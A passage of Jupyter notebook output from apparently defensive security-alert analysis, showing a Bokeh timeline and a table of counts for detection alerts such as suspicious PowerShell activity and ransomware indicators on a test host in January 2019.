%H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"4fcb4177-5d87-46c0-a9e9-17f4e99ed771\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{},\"id\":\"ed1ee3ad-8a57-4140-a619-913ad449779d\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"232816c1-967b-4180-a778-a7f50ee8f4ff\",\"type\":\"DaysTicker\"},{\"attributes\":{\"plot\":{\"id\":\"c65b6a10-8fdf-4f27-be3d-b76fb06087dc\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"5d834090-50b7-4f65-93f5-34125ffbca27\",\"type\":\"DatetimeTicker\"}},\"id\":\"87bde3a1-b6f3-4889-8482-cd5b53645665\",\"type\":\"Grid\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"346aea6a-b2be-4501-ba8b-7fc3efe06692\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"callback\":null},\"id\":\"30548ada-3484-4c36-a7d2-f2eb9e9db232\",\"type\":\"DataRange1d\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"51b2b27b-6cf2-442c-94f2-e791ed3625e3\",\"type\":\"HoverTool\"},{\"id\":\"fe2b1ccb-4f9c-4d8e-901b-b7eafe671869\",\"type\":\"PanTool\"},{\"id\":\"68409ec7-af1c-4d5c-bede-d1b74a743245\",\"type\":\"WheelZoomTool\"},{\"id\":\"30b1f9a8-dcac-45b1-ad12-061e38d5fec4\",\"type\":\"BoxZoomTool\"},{\"id\":\"a5507562-529e-4550-8181-00fae10ba369\",\"type\":\"ResetTool\"}]},\"id\":\"c8cfaf6a-013a-4e68-8064-a461ce4865e2\",\"type\":\"Toolbar\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"68409ec7-af1c-4d5c-bede-d1b74a743245\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"callback\":null,\"data\":{\"AlertName\":[\"DC local group addition - Demo\",\"Palo Alto admin logged on via SSH - Demo\",\"DC with MS AM engine failure - Demo\",\"Suspicious Account Added\",\"Global domain trust creation - Demo\",\"Maliciuos IP communication\",\"DC local group addition - Demo\",\"Palo Alto admin logged on via SSH - Demo\",\"DC with MS AM engine failure - Demo\",\"Network communication with a malicious machine detected\",\"Possible compromised machine detected\",\"Possible outgoing spam activity detected\",\"Suspicious double extension file executed\",\"Suspicious process executed\",\"Failed RDP Brute Force Attack\",\"Modified system binary discovered in dump file 5bd767e4-2d08-4714-b744-aaed04b57107__391365252.hdmp\",\"An event log was cleared\",\"Multiple Domain Accounts Queried\",\"SQL injection blocked\",\"Deep Security Agent detected a malware\",\"Successful RDP brute force attack\",\"Suspicious SVCHOST process executed\",\"Potential SQL Injection\",\"Network communication with a malicious machine detected\",\"Global domain trust creation - Demo\",\"Maliciuos IP communication\",\"Suspicious Account Added\",\"DC with MS AM engine failure - Demo\",\"DC local group addition - Demo\",\"Palo Alto admin logged on via SSH - Demo\",\"Global domain trust creation - Demo\",\"Maliciuos IP communication\",\"Suspicious Account Added\",\"DC with MS AM engine failure - Demo\",\"Suspicious Account Added\",\"DC with MS AM engine failure - Demo\",\"Global domain trust creation - Demo\",\"Maliciuos IP communication\",\"DC local group addition - Demo\",\"Palo Alto admin logged on via SSH - Demo\",\"Global domain trust creation - Demo\",\"DC local group addition - Demo\",\"Palo Alto admin logged on via SSH - Demo\",\"Maliciuos IP communication\",\"Suspicious Account Added\",\"Suspicious Account Creation Detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious process executed\",\"Detected anomalous mix of upper and lower case characters in command-line\",\"Executable found running from a suspicious location\",\"Detected obfuscated command line.\",\"Executable found running from a suspicious location\",\"Suspicious system process executed\",\"Suspicious SVCHOST process executed\",\"Suspicious Powershell Activity Detected\",\"Digital currency mining related behavior detected\",\"Potential attempt to bypass AppLocker detected\",\"Suspicious Volume Shadow Copy Activity\",\"Suspicious double extension file executed\",\"Suspicious process executed\",\"Rare SVCHOST service group executed\",\"Ransomware indicators detected\",\"Detected Petya ransomware indicators\",\"Suspiciously named process detected\",\"Suspicious Powershell Activity Detected\",\"Azure Security Center test alert (not a threat)\",\"Suspicious WindowPosition registry value detected\",\"DC local group addition - Demo\",\"Palo Alto admin logged on via SSH - Demo\",\"DC with MS AM engine failure - Demo\",\"Suspicious Account Added\",\"Suspicious download using Certutil detected\",\"Suspicious Powershell Activity Detected\",\"Detected suspicious named pipe communications\",\"Suspicious Account Creation Detected\",\"Suspiciously named process detected\",\"Digital currency mining related behavior detected\",\"Detected obfuscated command line.\",\"Detected suspicious commandline arguments\",\"Potential attempt to bypass AppLocker detected\",\"Detected encoded executable in command line data\",\"Suspicious Powershell Activity Detected\",\"Detected suspicious credentials in commandline\",\"Detected decoding of an executable using built-in certutil.exe tool\",\"Suspicious powershell cmdlets executed\",\"Suspicious Powershell Activity Detected\",\"Suspicious Powershell Activity Detected\",\"Executable found running from a suspicious location\",\"Random process name detected\",\"Suspicious process executed\",\"Suspected Kerberos Golden Ticket attack parameters observed\",\"Detected anomalous mix of upper and lower case characters in command-line\",\"Detected suspicious new firewall rule\",\"Detected change to a registry key that can be abused to bypass UAC\",\"Suspicious process executed\",\"Suspicious WindowPosition registry value detected\",\"Detected suspicious execution via rundll32.exe\",\"Suspicious system process executed\",\"Detected suspicious execution via rundll32.exe\",\"Detected possible local reconnaissance activity\",\"Detected suspicious use of FTP -s Switch\",\"Suspicious Volume Shadow Copy Activity\",\"Detected suspicious document credentials\",\"Detected suspicious Set-ExecutionPolicy and WinRM changes\",\"Suspicious double extension file executed\",\"Executable found running from a suspicious location\",\"Detected suspicious file creation\",\"Detected Petya ransomware indicators\",\"Detected suspicious commandline used to start all executables in a directory\",\"Detected suspicious file cleanup commands\",\"Suspicious SVCHOST process executed\",\"Azure Security Center test alert (not a threat)\",\"Detected suspicious use of Cacls to lower the security state of the system.\",\"Detected the disabling of critical services\",\"Detected suspicious use of Pcalua.exe to launch executable code\",\"Detected possible execution of keygen executable\",\"Detected suspicious execution of VBScript.Encode command\",\"Possible credential dumping detected\",\"Ransomware indicators detected\",\"Detected actions indicative of disabling and deleting IIS log files.\",\"Detected possible execution of malware dropper\",\"Rare SVCHOST service group executed\",\"Sticky keys attack detected\",\"Detected potentially suspicious use of Telegram tool\",\"High risk software detected\",\"Global domain trust creation - Demo\",\"Maliciuos IP communication\",\"Suspicious Account Creation Detected\",\"Suspiciously named process detected\",\"Digital currency mining related behavior detected\",\"Suspicious Volume Shadow Copy Activity\",\"Potential attempt to bypass AppLocker detected\",\"Detected anomalous mix of upper and lower case characters in command-line\",\"Suspicious Powershell Activity Detected\",\"Random process name detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious system process executed\",\"Suspicious process executed\",\"Suspicious double extension file executed\",\"Suspicious Powershell Activity Detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious process executed\",\"Suspicious WindowPosition registry value detected\",\"Executable found running from a suspicious location\",\"Executable found running from a suspicious location\",\"Rare SVCHOST service group executed\",\"Ransomware indicators detected\",\"Suspicious SVCHOST process executed\",\"Azure Security Center test alert (not a threat)\",\"Detected Petya ransomware indicators\",\"Detected obfuscated command line.\",\"Suspiciously named process detected\",\"Suspicious process executed\",\"Executable found running from a suspicious location\",\"Suspicious WindowPosition registry value detected\",\"Suspicious system process executed\",\"Suspicious double extension file executed\",\"Ransomware indicators detected\",\"Detected Petya ransomware indicators\",\"Rare SVCHOST service group executed\",\"Suspicious Volume Shadow Copy Activity\",\"Azure Security Center test alert (not a threat)\",\"Suspicious SVCHOST process executed\",\"Suspicious process executed\",\"Suspicious SVCHOST process executed\",\"Suspicious Volume Shadow Copy Activity\",\"Suspicious Account Creation Detected\",\"Potential attempt to bypass AppLocker detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious Powershell Activity Detected\",\"Digital currency mining related behavior detected\",\"Suspicious Powershell Activity Detected\",\"Suspiciously named process detected\",\"Suspicious system process executed\",\"Suspicious WindowPosition registry value detected\",\"Executable found running from a suspicious location\",\"Executable found running from a suspicious location\",\"Detected anomalous mix of upper and lower case characters in command-line\",\"Suspicious process executed\",\"Rare SVCHOST service group executed\",\"Azure Security Center test alert (not a threat)\",\"Detected Petya ransomware indicators\",\"Suspicious double extension file executed\",\"Ransomware indicators detected\",\"Suspicious process executed\",\"Detected obfuscated command line.\",\"Anomalous account creation detected\"],\"CompromisedEntity\":[\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"vm1lin\",\"\",\"\",\"\",\"\",\"\",\"vm1\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"\",\"\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"\"],\"TimeGenerated\":{\"__ndarray__\":\"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\",\"dtype\":\"float64\",\"shape\":[189]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"4f910a50-50ce-4a7b-8a57-eafb16bba861\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"e41dd5b8-0f7e-476d-ad4d-178dd545a6df\",\"type\":\"UnionRenderers\"}},\"id\":\"a0c2a996-3dd8-4463-a274-67f0a265ff2f\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"313b5382-5562-46f6-a725-e0167e67b9ac\",\"type\":\"Circle\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"renderers\":\"auto\",\"tooltips\":[[\"AlertName\",\"@AlertName\"],[\"CompromisedEntity\",\"@CompromisedEntity\"]]},\"id\":\"51b2b27b-6cf2-442c-94f2-e791ed3625e3\",\"type\":\"HoverTool\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"ed25c43d-4940-48fc-9bfe-76f4d89bf5c8\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"87885d83-096f-40a5-923a-37ce4a715ae6\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"a5507562-529e-4550-8181-00fae10ba369\",\"type\":\"ResetTool\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"c65b6a10-8fdf-4f27-be3d-b76fb06087dc\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"5379f640-068d-4f76-881a-296d0b8d7eb2\",\"type\":\"BasicTicker\"}},\"id\":\"48edb99b-29f6-441f-af4d-e93c936d4a8e\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"06886ddf-e0d5-46b5-a25e-c123764361f3\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"6ddc5477-15f5-4ba5-ac01-017b0dfe9e9f\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"5379f640-068d-4f76-881a-296d0b8d7eb2\",\"type\":\"BasicTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"96ed358c-f95f-449f-889b-3001851db6ec\",\"type\":\"BoxAnnotation\"}},\"id\":\"30b1f9a8-dcac-45b1-ad12-061e38d5fec4\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"data_source\":{\"id\":\"a0c2a996-3dd8-4463-a274-67f0a265ff2f\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"6ddc5477-15f5-4ba5-ac01-017b0dfe9e9f\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"313b5382-5562-46f6-a725-e0167e67b9ac\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"5f10df90-8e29-460a-821d-3d510339c515\",\"type\":\"CDSView\"}},\"id\":\"c7123f39-f617-41a7-b092-b91957790ffb\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"06c2f899-375b-4ade-8552-fdca5c774284\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"fe2b1ccb-4f9c-4d8e-901b-b7eafe671869\",\"type\":\"PanTool\"},{\"attributes\":{\"formatter\":{\"id\":\"06886ddf-e0d5-46b5-a25e-c123764361f3\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"c65b6a10-8fdf-4f27-be3d-b76fb06087dc\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"5379f640-068d-4f76-881a-296d0b8d7eb2\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"42aa95bd-e212-4580-908e-037275f34d7e\",\"type\":\"LinearAxis\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"96ed358c-f95f-449f-889b-3001851db6ec\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"source\":{\"id\":\"a0c2a996-3dd8-4463-a274-67f0a265ff2f\",\"type\":\"ColumnDataSource\"}},\"id\":\"5f10df90-8e29-460a-821d-3d510339c515\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"232476c8-6e59-4d1b-95c9-ce91967eda9b\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"e41dd5b8-0f7e-476d-ad4d-178dd545a6df\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"4f910a50-50ce-4a7b-8a57-eafb16bba861\",\"type\":\"Selection\"}],\"root_ids\":[\"c65b6a10-8fdf-4f27-be3d-b76fb06087dc\"]},\"title\":\"Bokeh Application\",\"version\":\"0.12.16\"}};\n", " var render_items = [{\"docid\":\"4853ca58-5b86-4878-b144-ab10801646b2\",\"elementid\":\"60159e4e-38fd-42d0-9e6a-102eda038e90\",\"modelid\":\"c65b6a10-8fdf-4f27-be3d-b76fb06087dc\"}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " clearInterval(timer);\n", " }\n", " attempts++;\n", " if (attempts > 100) {\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\")\n", " clearInterval(timer);\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "c65b6a10-8fdf-4f27-be3d-b76fb06087dc" } }, "output_type": "display_data" }, { "data": { "text/html": [ "

Top alerts

" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
AlertNamealertCountfirstAlertlastAlert
0Suspicious Powershell Activity Detected162019-01-15 05:15:142019-01-15 17:15:15
1Suspicious process executed112019-01-12 00:02:512019-01-15 17:15:19
2Executable found running from a suspicious location92019-01-15 05:15:202019-01-15 17:15:19
3DC local group addition - Demo62019-01-10 06:41:452019-01-15 06:41:46
4Palo Alto admin logged on via SSH - Demo62019-01-10 06:41:502019-01-15 06:41:55
5DC with MS AM engine failure - Demo62019-01-10 06:43:592019-01-15 06:44:00
6Suspicious Account Added62019-01-10 20:38:162019-01-15 22:28:16
7Global domain trust creation - Demo62019-01-10 05:48:092019-01-15 05:48:11
8Maliciuos IP communication62019-01-10 06:36:032019-01-15 06:36:02
9Suspicious double extension file executed62019-01-12 00:02:512019-01-15 17:15:23
10Suspicious SVCHOST process executed62019-01-12 00:02:512019-01-15 17:15:23
11Azure Security Center test alert (not a threat)52019-01-15 05:15:252019-01-15 17:15:23
12Suspicious system process executed52019-01-15 05:15:202019-01-15 17:15:19
13Suspicious Volume Shadow Copy Activity52019-01-15 05:15:202019-01-15 17:15:23
14Rare SVCHOST service group executed52019-01-15 05:15:252019-01-15 17:15:23
15Ransomware indicators detected52019-01-15 05:15:252019-01-15 17:15:23
16Detected Petya ransomware indicators52019-01-15 05:15:252019-01-15 17:15:23
17Suspiciously named process detected52019-01-15 05:15:152019-01-15 17:15:17
18Suspicious WindowPosition registry value detected52019-01-15 05:15:202019-01-15 17:15:19
19Detected obfuscated command line.42019-01-15 05:15:142019-01-15 17:15:15
\n", "
" ], "text/plain": [ " AlertName alertCount \\\n", "0 Suspicious Powershell Activity Detected 16 \n", "1 Suspicious process executed 11 \n", "2 Executable found running from a suspicious location 9 \n", "3 DC local group addition - Demo 6 \n", "4 Palo Alto admin logged on via SSH - Demo 6 \n", "5 DC with MS AM engine failure - Demo 6 \n", "6 Suspicious Account Added 6 \n", "7 Global domain trust creation - Demo 6 \n", "8 Maliciuos IP communication 6 \n", "9 Suspicious double extension file executed 6 \n", "10 Suspicious SVCHOST process executed 6 \n", "11 Azure Security Center test alert (not a threat) 5 \n", "12 Suspicious system process executed 5 \n", "13 Suspicious Volume Shadow Copy Activity 5 \n", "14 Rare SVCHOST service group executed 5 \n", "15 Ransomware indicators detected 5 \n", "16 Detected Petya ransomware indicators 5 \n", "17 Suspiciously named process detected 5 \n", "18 Suspicious WindowPosition registry value detected 5 \n", "19 Detected obfuscated command line. 4 \n", "\n", " firstAlert lastAlert \n", "0 2019-01-15 05:15:14 2019-01-15 17:15:15 \n", "1 2019-01-12 00:02:51 2019-01-15 17:15:19 \n", "2 2019-01-15 05:15:20 2019-01-15 17:15:19 \n", "3 2019-01-10 06:41:45 2019-01-15 06:41:46 \n", "4 2019-01-10 06:41:50 2019-01-15 06:41:55 \n", "5 2019-01-10 06:43:59 2019-01-15 06:44:00 \n", "6 2019-01-10 20:38:16 2019-01-15 22:28:16 \n", "7 2019-01-10 05:48:09 2019-01-15 05:48:11 \n", "8 2019-01-10 06:36:03 2019-01-15 06:36:02 \n", "9 2019-01-12 00:02:51 2019-01-15 17:15:23 \n", "10 2019-01-12 00:02:51 2019-01-15 17:15:23 \n", "11 